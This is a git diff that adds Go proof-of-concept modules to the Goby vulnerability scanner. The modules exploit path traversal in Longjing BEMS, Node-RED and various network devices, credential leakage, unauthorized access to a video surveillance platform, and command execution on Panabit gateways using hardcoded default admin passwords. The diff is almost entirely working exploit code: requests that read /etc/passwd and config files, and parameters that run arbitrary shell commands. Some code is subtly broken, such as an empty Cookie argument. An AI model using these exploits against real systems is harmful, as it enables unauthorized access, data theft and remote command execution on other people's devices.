httpclient.NewGetRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.RawBody, "root:") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + file := ss.Params["File"].(string) + uri := "/download.php?file=../../../../.." + file + cfg := httpclient.NewGetRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { + if resp.StatusCode == 200 { + expResult.Output = resp.Utf8Html + expResult.Success = true + } + } + return expResult + }, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/Longjing_Technology_BEMS_API_1.21_Remote_Arbitrary_File_Download.go b/lib/goby/goby_pocs/Longjing_Technology_BEMS_API_1.21_Remote_Arbitrary_File_Download.go new file mode 100644 index 000000000..0e6e509fa --- /dev/null +++ b/lib/goby/goby_pocs/Longjing_Technology_BEMS_API_1.21_Remote_Arbitrary_File_Download.go @@ -0,0 +1,143 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" +) + +func init() { + expJson := `{ + "Name": "Longjing Technology BEMS API 1.21 Remote Arbitrary File Download", + "Description": "The application suffers from an unauthenticated arbitrary file download vulnerability. Input passed through the fileName parameter through downloads endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks.", + "Product": "Battery Energy Management System", + "Homepage": "http://www.ljkj2012.com", + "DisclosureDate": "2021-08-01", + "Author": "luckying1314@139.com", + "GobyQuery": "server=\"nginx/1.19.1\"", + "Level": "2", + "Impact": "

The vulnerability of arbitrary file download or read is mainly caused by the fact that when the application system provides the function of file download or read, the application system directly specifies the file path in the file path parameter without verifying the validity of the file path. As a result, the attacker can jump through the directory (..  \\ or..  /) to download or read a file beyond the original specified path.  The attacker can finally download or read any files on the system through this vulnerability, such as database files, application system source code, password configuration information and other important sensitive information, resulting in sensitive information leakage of the system.  

", + "Recommandation": "

Limit ../ The best way is that the file should be in the database for one to one mapping, avoid entering the absolute path to obtain the file  

", + "References": [ + "https://www.exploit-db.com/exploits/50163" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "path", + "type": "createSelect", + "value": "../../../etc/passwd,../../../../etc/hosts,../../../../root/.bashrc", + "show": "" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/api/downloads?fileName=../../../etc/passwd", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "root", + "bz": "" + } + ] + }, + "SetVariable": [] + }, + { + "Request": { + "method": "GET", + "uri": "/api/downloads?fileName=../../../etc/hosts", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "OR", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "127.0.0.1", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "localhost", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/api/downloads?fileName={{{path}}}", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "SetVariable": [ + "output|lastbody" + ] + } + ], + "Tags": [ + "file download" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": ["Battery Energy Management System"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + nil, + nil, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/Many_network_devices_have_arbitrary_file_downloads.go b/lib/goby/goby_pocs/Many_network_devices_have_arbitrary_file_downloads.go new file mode 100644 index 000000000..71e491d0a --- /dev/null +++ b/lib/goby/goby_pocs/Many_network_devices_have_arbitrary_file_downloads.go @@ -0,0 +1,169 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" +) + +func init() { + expJson := `{ + "Name": "Many network devices have arbitrary file downloads", + "Description": "The download.php page contains any file downloads", + "Product": "Many network devices", + "Homepage": "https://gobies.org/", + "DisclosureDate": "2021-07-15", + "Author": "luckying1314@139.com", + "GobyQuery": "body=\"persons\"", + "Level": "2", + "Impact": "

Arbitrary file download or read vulnerability is mainly because when the application system provides the function of file download or read, the application system directly specifies the file path in the file path parameter and does not verify the legitimacy of the file path, resulting in the attacker can jump through the directory (..\\ or../) way to download or read a file outside the original specified path.The attacker can finally download or read any file on the system through the vulnerability, such as database files, application system source code, password configuration information and other important sensitive information, resulting in the sensitive information leakage of the system.

", + "Recommandation": "

Limit../ symbol, file download to determine the input path, the best way is that the file should be in the database for one-to-one correspondence, avoid by entering the absolute path to get files

", + "References": [ + "https://mp.weixin.qq.com/s/utv9ZX4HhDmEtbhBlhFBBQ" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "path", + "type": "createSelect", + "value": "../../../../../etc/passwd,../../user.conf", + "show": "" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "OR", + { + "Request": { + "method": "GET", + "uri": "/download.php?class=vpn&toolname=../../../../../etc/passwd", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "root", + "bz": "" + } + ] + }, + "SetVariable": [] + }, + { + "Request": { + "method": "GET", + "uri": "/download.php?class=vpn&toolname=../../../../../etc/group", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "root", + "bz": "" + } + ] + }, + "SetVariable": [] + }, + { + "Request": { + "method": "GET", + "uri": "/download.php?class=vpn&toolname=../../user.conf", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "admin", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "password", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/download.php?class=vpn&toolname={{{path}}}", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "SetVariable": [ + "output|lastbody" + ] + } + ], + "Tags": [ + "file downloads" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": [ + "Many network devices" + ], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + nil, + nil, + )) +} diff --git a/lib/goby/goby_pocs/Many_network_devices_have_password_leaks.go b/lib/goby/goby_pocs/Many_network_devices_have_password_leaks.go new file mode 100644 index 000000000..4d016e48e --- /dev/null +++ b/lib/goby/goby_pocs/Many_network_devices_have_password_leaks.go @@ -0,0 +1,112 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" +) + +func init() { + expJson := `{ + "Name": "Many network devices have password leaks", + "Description": "Visit the default login page, the JS code on the home page discloses account information, including role, account, password MD5 value, status and other information", + "Product": "Many network devices", + "Homepage": "https://gobies.org/", + "DisclosureDate": "2021-07-15", + "Author": "luckying1314@139.com", + "GobyQuery": "body=\"persons\"", + "Level": "2", + "Impact": "

Information leakage is mainly caused by the negligence of developers or operations management personnel.If the debugging page is not deleted in time, the program debugging function is not closed, the program error information is not shielded, the backup file is not deleted, the database backup file is not deleted, the sensitive data information is not shielded and so on.The attacker can further analyze the attack target through the information he has mastered, so as to effectively launch the next effective attack

", + "Recommandation": "

1. Delete the affected files to avoid information leakage.

2. Set up a unified error report page

", + "References": [ + "https://mp.weixin.qq.com/s/utv9ZX4HhDmEtbhBlhFBBQ" + ], + "HasExp": true, + "ExpParams": null, + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "var persons =", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "name", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "password", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "SetVariable": [ + "output|lastbody|regex|var persons =(.*)" + ] + } + ], + "Tags": [ + "information leakage" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": ["Many network devices"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + nil, + nil, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/NVS3000_integrated_video_surveillance_platform_is_not_accessible.go b/lib/goby/goby_pocs/NVS3000_integrated_video_surveillance_platform_is_not_accessible.go new file mode 100644 index 000000000..31885bb95 --- /dev/null +++ b/lib/goby/goby_pocs/NVS3000_integrated_video_surveillance_platform_is_not_accessible.go @@ -0,0 +1,128 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" +) + +func init() { + expJson := `{ + "Name": "NVS3000 integrated video surveillance platform is not accessible CNVD-2021-19742", + "Description": "Datang Telecom Technology Co., Ltd. is a provider of information and communication products and integrated solutions.\\nNVS3000 integrated video surveillance platform of Datang Telecom Technology Co., LTD has an unauthorized access vulnerability, which can be used by attackers to obtain sensitive system information.", + "Product": "NVS3000 integrated video surveillance platform", + "Homepage": "http://www.datang.com", + "DisclosureDate": "2021-08-02", + "Author": "luckying1314@139.com", + "GobyQuery": "title=\"综合视频监控平台\"", + "Level": "1", + "Impact": "

The application system does not perform valid identity verification on the service function page. If you have not logged in and obtained the access address of the service function page, you can directly operate the functions on the page, which may cause malicious damage to the application system

", + "Recommandation": "

Authenticate sensitive resources or information.

", + "References": [ + "https://www.cnvd.org.cn/flaw/show/CNVD-2021-19742" + ], + "HasExp": false, + "ExpParams": null, + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "OR", + { + "Request": { + "method": "GET", + "uri": "/main.html", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "大数据分析", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "公告发布", + "bz": "" + } + ] + }, + "SetVariable": [] + }, + { + "Request": { + "method": "GET", + "uri": "/record.html", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "大数据分析", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "公告发布", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": null, + "Tags": [ + "Unauthorized access" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": null, + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + nil, + nil, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/Node_red_UI_base_Arbitrary_File_Read_Vulnerability_CVE_2021_3223.go b/lib/goby/goby_pocs/Node_red_UI_base_Arbitrary_File_Read_Vulnerability_CVE_2021_3223.go new file mode 100644 index 000000000..bbe398227 --- /dev/null +++ b/lib/goby/goby_pocs/Node_red_UI_base_Arbitrary_File_Read_Vulnerability_CVE_2021_3223.go @@ -0,0 +1,140 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" +) + +func init() { + expJson := `{ + "Name": "Node-red UI_base Arbitrary File Read Vulnerability CVE-2021-3223", + "Description": "Node-red is a tool for building Internet of Things (IoT) applications, with a focus on simplifying the \"wiring\" of blocks of code to perform tasks.\\nNode-red in (/nodes/ui_base.js), the URL matches (/ui_base/js/*) and passes it to (path.join),\\nLack of validation of the final path can lead to a path traversal vulnerability that can be exploited to read sensitive data on the server, such as settings.js", + "Product": "Node-RED", + "Homepage": "https://nodered.org/", + "DisclosureDate": "2021-07-04", + "Author": "luckying1314@gmail.com", + "GobyQuery": "title=\"Node-RED\"", + "Level": "2", + "Impact": "

Arbitrary file download or read vulnerability is mainly because when the application system provides the function of file download or read, the application system directly specifies the file path in the file path parameter and does not verify the legitimacy of the file path, resulting in the attacker can jump through the directory (..\\ or../) way to download or read a file outside the original specified path.The attacker can finally download or read any file on the system through the vulnerability, such as database files, application system source code, password configuration information and other important sensitive information, resulting in the sensitive information leakage of the system.

", + "Recommandation": "

Limit../ symbol, file download to determine the input path, the best way is that the file should be in the database for one-to-one correspondence, avoid by entering the absolute path to get files

", + "References": [ + "https://www.pwnwiki.org/index.php?title=CVE-2021-3223_Node-RED_ui_base_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E/zh-cn" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "filename", + "type": "createSelect", + "value": "/ui_base/js/.././../../../../../../../../etc/passwd,/ui_base/js/../../../../settings.js", + "show": "" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "OR", + { + "Request": { + "method": "GET", + "uri": "/ui_base/js/.././../../../../../../../../etc/passwd", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "root", + "bz": "" + } + ] + }, + "SetVariable": [] + }, + { + "Request": { + "method": "GET", + "uri": "/ui_base/js/../../../../settings.js", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "username", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "{{{filename}}}", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "SetVariable": [ + "output|lastbody" + ] + } + ], + "Tags": [ + "fileread" + ], + "CVEIDs": [ + "CVE-2021-3223" + ], + "CVSSScore": "7.8", + "AttackSurfaces": { + "Application": [ + "Node-RED" + ], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + nil, + nil, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/Panabit_Application_Gateway_ajax_top_backstage_RCE.go b/lib/goby/goby_pocs/Panabit_Application_Gateway_ajax_top_backstage_RCE.go new file mode 100644 index 000000000..f5e76cb16 --- /dev/null +++ b/lib/goby/goby_pocs/Panabit_Application_Gateway_ajax_top_backstage_RCE.go @@ -0,0 +1,125 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" +) + +func init() { + expJson := `{ + "Name": "Panabit Application Gateway ajax_top backstage RCE", + "Description": "Panabit Application Gateway ajax_top backstage RCE", + "Product": "Panabit Application Gateway", + "Homepage": "https://www.panabit.com/", + "DisclosureDate": "2021-05-18", + "Author": "PeiQi", + "GobyQuery": "(app=\"Apache-Web-Server\" && body=\"pa_row pa_recheck\")", + "Level": "3", + "Impact": "RCE", + "Recommendation": "", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "Cmd", + "type": "input", + "value": "cat /etc/passwd" + } + ], + "ScanSteps": [ + "AND", + { + "Request": { + "data": "", + "data_type": "text", + "follow_redirect": true, + "method": "GET", + "uri": "/" + }, + "ResponseTest": { + "checks": [ + { + "bz": "", + "operation": "==", + "type": "item", + "value": "200", + "variable": "$code" + } + ], + "operation": "AND", + "type": "group" + } + } + ], + "ExploitSteps": null, + "Tags": ["RCE"], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": ["Panabit Application Gateway"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri_1 := "/login/userverify.cgi" + cfg_1 := httpclient.NewPostRequestConfig(uri_1) + cfg_1.VerifyTls = false + cfg_1.FollowRedirect = false + cfg_1.Header.Store("Content-type", "application/x-www-form-urlencoded") + cfg_1.Data = "action=user_login&palang=ch&username=admin&password=722289d072731e2cc73038aa9ad9e067&code=" + if resp, err := httpclient.DoHttpRequest(u, cfg_1); err == nil { + if resp.StatusCode == 200 && strings.Contains(resp.RawBody, "Auth_OK") { + cookie := resp.Header.Get("Set-Cookie") + uri_2 := "/cgi-bin/Maintain/ajax_top?action=runcmd&cmd=cat%20/etc/passwd" + cfg_2 := httpclient.NewPostRequestConfig(uri_2) + cfg_2.VerifyTls = false + cfg_2.FollowRedirect = false + cfg_2.Header.Store("Content-type", "application/x-www-form-urlencoded") + cfg_2.Header.Store("Cookie", cookie) + if resp, err := httpclient.DoHttpRequest(u, cfg_2); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.RawBody, "root:") + } + } + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + uri_1 := "/login/userverify.cgi" + cfg_1 := httpclient.NewPostRequestConfig(uri_1) + cfg_1.VerifyTls = false + cfg_1.FollowRedirect = false + cfg_1.Header.Store("Content-type", "application/x-www-form-urlencoded") + cfg_1.Data = "action=user_login&palang=ch&username=admin&password=722289d072731e2cc73038aa9ad9e067&code=" + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg_1); err == nil { + if resp.StatusCode == 200 && strings.Contains(resp.RawBody, "Auth_OK") { + cmd := strings.Replace(ss.Params["Cmd"].(string), " ", "%20", -1) + cookie := resp.Header.Get("Set-Cookie") + uri_2 := "/cgi-bin/Maintain/ajax_top?action=runcmd&cmd=" + cmd + cfg_2 := httpclient.NewPostRequestConfig(uri_2) + cfg_2.VerifyTls = false + cfg_2.FollowRedirect = false + cfg_2.Header.Store("Content-type", "application/x-www-form-urlencoded") + cfg_2.Header.Store("Cookie", cookie) + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg_2); err == nil { + expResult.Output = resp.Utf8Html + expResult.Success = true + } + } + } + return expResult + }, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/Panabit_Panalog_cmdhandle.php_backstage_RCE.go b/lib/goby/goby_pocs/Panabit_Panalog_cmdhandle.php_backstage_RCE.go new file mode 100644 index 000000000..41d7d980b --- /dev/null +++ b/lib/goby/goby_pocs/Panabit_Panalog_cmdhandle.php_backstage_RCE.go @@ -0,0 +1,128 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" +) + +func init() { + expJson := `{ + "Name": "Panabit Panalog cmdhandle.php backstage RCE", + "Description": "Panabit Panalog cmdhandle.php backstage RCE", + "Product": "Panabit Panalog", + "Homepage": "https://www.panabit.com/", + "DisclosureDate": "2021-05-18", + "Author": "PeiQi", + "GobyQuery": "app=\"Panabit-Panalog\"", + "Level": "3", + "Impact": "RCE", + "Recommendation": "", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "Cmd", + "type": "input", + "value": "id" + } + ], + "ScanSteps": [ + "AND", + { + "Request": { + "data": "", + "data_type": "text", + "follow_redirect": true, + "method": "GET", + "uri": "/" + }, + "ResponseTest": { + "checks": [ + { + "bz": "", + "operation": "==", + "type": "item", + "value": "200", + "variable": "$code" + } + ], + "operation": "AND", + "type": "group" + } + } + ], + "ExploitSteps": null, + "Tags": ["RCE"], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": ["Panabit Panalog"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + cookie := "PHPSESSID=111111111111111111111test" + uri_1 := "/login.php" + cfg_1 := httpclient.NewPostRequestConfig(uri_1) + cfg_1.VerifyTls = false + cfg_1.FollowRedirect = false + cfg_1.Header.Store("Content-type", "application/x-www-form-urlencoded") + cfg_1.Header.Store("Cookie", cookie) + cfg_1.Data = "user=admin&mypass=panabit&useldap=0" + if resp, err := httpclient.DoHttpRequest(u, cfg_1); err == nil { + if resp.StatusCode == 200 && strings.Contains(resp.RawBody, "yes") { + uri_2 := "/Maintain/cmdhandle.php" + cfg_2 := httpclient.NewPostRequestConfig(uri_2) + cfg_2.VerifyTls = false + cfg_2.FollowRedirect = false + cfg_2.Header.Store("Content-type", "application/x-www-form-urlencoded") + cfg_2.Header.Store("Cookie", ) + cfg_2.Data = "cmd=id" + if resp, err := httpclient.DoHttpRequest(u, cfg_2); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.RawBody, "uid") + } + } + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + cookie := "PHPSESSID=111111111111111111111test" + uri_1 := "/login.php" + cfg_1 := httpclient.NewPostRequestConfig(uri_1) + cfg_1.VerifyTls = false + cfg_1.FollowRedirect = false + cfg_1.Header.Store("Content-type", "application/x-www-form-urlencoded") + cfg_1.Header.Store("Cookie", cookie) + cfg_1.Data = "user=admin&mypass=panabit&useldap=0" + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg_1); err == nil { + if resp.StatusCode == 200 && strings.Contains(resp.RawBody, "yes") { + uri_2 := "/Maintain/cmdhandle.php" + cfg_2 := httpclient.NewPostRequestConfig(uri_2) + cfg_2.VerifyTls = false + cfg_2.FollowRedirect = false + cfg_2.Header.Store("Content-type", "application/x-www-form-urlencoded") + cfg_2.Header.Store("Cookie", ) + cfg_2.Data = "cmd=id" + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg_2); err == nil { + expResult.Output = resp.Utf8Html + expResult.Success = true + } + } + } + return expResult + }, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/Panabit_iXCache_ajax_cmd_backstage_RCE.go b/lib/goby/goby_pocs/Panabit_iXCache_ajax_cmd_backstage_RCE.go new file mode 100644 index 000000000..a2711c0ca --- /dev/null +++ b/lib/goby/goby_pocs/Panabit_iXCache_ajax_cmd_backstage_RCE.go @@ -0,0 +1,125 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" +) + +func init() { + expJson := `{ + "Name": "Panabit iXCache ajax_cmd backstage RCE", + "Description": "Panabit iXCache ajax_cmd backstage RCE", + "Product": "Panabit iXCache", + "Homepage": "https://www.panabit.com/", + "DisclosureDate": "2021-05-18", + "Author": "PeiQi", + "GobyQuery": "(app=\"Panabit-Intelligent-gateway\" || title=\"iXCache\")", + "Level": "3", + "Impact": "RCE", + "Recommendation": "", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "Cmd", + "type": "input", + "value": "id" + } + ], + "ScanSteps": [ + "AND", + { + "Request": { + "data": "", + "data_type": "text", + "follow_redirect": true, + "method": "GET", + "uri": "/" + }, + "ResponseTest": { + "checks": [ + { + "bz": "", + "operation": "==", + "type": "item", + "value": "200", + "variable": "$code" + } + ], + "operation": "AND", + "type": "group" + } + } + ], + "ExploitSteps": null, + "Tags": ["RCE"], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": ["Panabit iXCache"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri_1 := "/login/userverify.cgi" + cfg_1 := httpclient.NewPostRequestConfig(uri_1) + cfg_1.VerifyTls = false + cfg_1.FollowRedirect = false + cfg_1.Header.Store("Content-type", "application/x-www-form-urlencoded") + cfg_1.Data = "username=admin&password=ixcache" + if resp, err := httpclient.DoHttpRequest(u, cfg_1); err == nil { + if resp.StatusCode == 200 && strings.Contains(resp.RawBody, "/cgi-bin/monitor.cgi") { + cookie := resp.Header.Get("Set-Cookie") + uri_2 := "/cgi-bin/Maintain/ajax_cmd?action=runcmd&cmd=ixeye%20iXCache;id" + cfg_2 := httpclient.NewPostRequestConfig(uri_2) + cfg_2.VerifyTls = false + cfg_2.FollowRedirect = false + cfg_2.Header.Store("Content-type", "application/x-www-form-urlencoded") + cfg_2.Header.Store("Cookie", cookie) + if resp, err := httpclient.DoHttpRequest(u, cfg_2); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.RawBody, "uid") + } + } + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + uri_1 := "/login/userverify.cgi" + cfg_1 := httpclient.NewPostRequestConfig(uri_1) + cfg_1.VerifyTls = false + cfg_1.FollowRedirect = false + cfg_1.Header.Store("Content-type", "application/x-www-form-urlencoded") + cfg_1.Data = "username=admin&password=ixcache" + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg_1); err == nil { + if resp.StatusCode == 200 && strings.Contains(resp.RawBody, "/cgi-bin/monitor.cgi") { + cookie := resp.Header.Get("Set-Cookie") + cmd := ss.Params["Cmd"].(string) + uri_2 := "/cgi-bin/Maintain/ajax_cmd?action=runcmd&cmd=ixeye%20iXCache;" + cmd + cfg_2 := httpclient.NewPostRequestConfig(uri_2) + cfg_2.VerifyTls = false + cfg_2.FollowRedirect = false + cfg_2.Header.Store("Content-type", "application/x-www-form-urlencoded") + cfg_2.Header.Store("Cookie", cookie) + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg_2); err == nil { + expResult.Output = resp.Utf8Html + expResult.Success = true + } + } + } + return expResult + }, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/QiAnXin_Tianqing_terminal_security_management_system_client_upload_file.json_getshell.go b/lib/goby/goby_pocs/QiAnXin_Tianqing_terminal_security_management_system_client_upload_file.json_getshell.go new file mode 100644 index 000000000..4298eeb9d --- /dev/null +++ b/lib/goby/goby_pocs/QiAnXin_Tianqing_terminal_security_management_system_client_upload_file.json_getshell.go @@ -0,0 +1,128 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" +) + +func init() { + expJson := `{ + "Name": "QiAnXin Tianqing terminal security management system client_upload_file.json getshell", + "Description": "There is an arbitrary file upload vulnerability in QiAnXin Tianqing terminal security management system, and the attacker can upload his own webshell to control the server.", + "Product": "360-TianQing", + "Homepage": "https://www.qianxin.com/product/detail/pid/49", + "DisclosureDate": "2021-04-09", + "Author": "itardc@163.com", + "FofaQuery": "app=\"360-TianQing\"", + "GobyQuery": "app=\"360-TianQing\"", + "Level": "3", + "Impact": "", + "Recommendation": "", + "References": [ + "http://fofa.so" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "cmd", + "type": "input", + "value": "whoami" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "data": "", + "data_type": "text", + "follow_redirect": true, + "method": "GET", + "uri": "/" + }, + "ResponseTest": { + "checks": [ + { + "bz": "", + "operation": "==", + "type": "item", + "value": "200", + "variable": "$code" + } + ], + "operation": "AND", + "type": "group" + } + } + ], + 